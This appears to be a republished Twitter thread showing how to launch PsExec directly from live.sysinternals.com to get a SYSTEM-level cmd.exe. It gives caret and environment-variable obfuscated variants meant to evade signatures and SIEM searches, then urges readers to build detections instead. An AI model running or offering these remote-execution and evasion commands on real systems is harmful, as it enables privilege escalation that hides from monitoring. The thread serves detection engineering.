Elevate your cmd.exe to LOCAL_SYSTEM?
\\live.sysinternals.com\tools\PsExec.exe -s -c cmd.exe
Have you ever seen this being used by an adversary? I haven't but I like it.
If you can't use the SMB protocol to hosts on the Internet, try WebDav over HTTPS
net use z: hxxps://live.sysinternals.com/tools && z:\PsExec.exe -s -c cmd.exe
(had to change the URL scheme because twitter would otherwise transform it - see screenshot)
And let's add some obfuscation to hide from sloppy signatures or case-sensitive searches in your SIEM
net use z: htT^pS://li^ve.sysInTer^nals.com/toOls && z:\Ps^EXeC.eXe -s c^md.e^xe
And we add another layer of obfuscation
net use z: htT^pS://li^ve.sys%SystemRoot:~4,1%nTer^nals.com/toOls && z:\Ps^EX%Public:~5,1%C.eXe -s c^md.e^xe
And when we're done with all that kids stuff and decide that we want to do something useful with our life, we check the resulting artefacts, logs, traces and start developing detection for all that evidence to really make a difference
Share this Scrolly Tale with your friends.
A Scrolly Tale is a new way to read Twitter threads with a more visually immersive experience.
Discover more beautiful Scrolly Tales like this.